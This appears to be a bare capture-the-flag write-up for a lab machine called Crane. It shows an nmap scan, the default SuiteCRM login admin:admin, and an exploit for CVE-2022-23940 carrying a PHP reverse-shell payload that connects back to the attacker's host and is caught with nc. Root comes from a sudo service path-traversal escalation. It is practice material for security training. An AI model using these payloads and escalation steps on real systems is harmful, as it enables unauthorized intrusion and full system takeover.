Crane

Nmap scan report for 192.168.248.146
Host is up (0.20s latency).
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 37:80:01:4a:43:86:30:c9:79:e7:fb:7f:3b:a4:1e:dd (RSA)
|   256 b6:18:a1:e1:98:fb:6c:c6:87:55:45:10:c6:d4:45:b9 (ECDSA)
|_  256 ab:8f:2d:e8:a2:04:e7:b7:65:d3:fe:5e:93:1e:03:67 (ED25519)
80/tcp    open  http    Apache httpd 2.4.38 ((Debian))
| http-title: SuiteCRM
|_Requested resource was index.php?action=Login&module=Users
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
| http-robots.txt: 1 disallowed entry 
|_/
|_http-server-header: Apache/2.4.38 (Debian)
3306/tcp  open  mysql   MySQL (unauthorized)
33060/tcp open  mysqlx  MySQL X protocol listener
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

admin:admin

• https://github.com/manuelz120/CVE-2022-23940

┌──(kali㉿kali)-[~/ctf/pg/crane/CVE-2022-23940]
└─$ ./exploit.py -u admin -p admin --payload "php -r '\$sock=fsockopen(\"192.168.45.244\", 80); exec(\"/bin/sh -i <&3 >&3 2>&3\");'" 
INFO:CVE-2022-23940:Login did work - Trying to create scheduled report

┌──(kali㉿kali)-[~/ctf/pg/crane/CVE-2022-23940]
└─$ nc -lnvp 80 
listening on [any] 80 ...
connect to [192.168.45.244] from (UNKNOWN) [192.168.248.146] 51698
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@crane:/var/www/html$

www-data@crane:/var/www/html$ sudo -l  
sudo -l
Matching Defaults entries for www-data on localhost:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/sbin/service
www-data@crane:/var/www/html$ 

www-data@crane:/var/www/html$ sudo service ../../bin/sh
sudo service ../../bin/sh
# id
id
uid=0(root) gid=0(root) groups=0(root)
#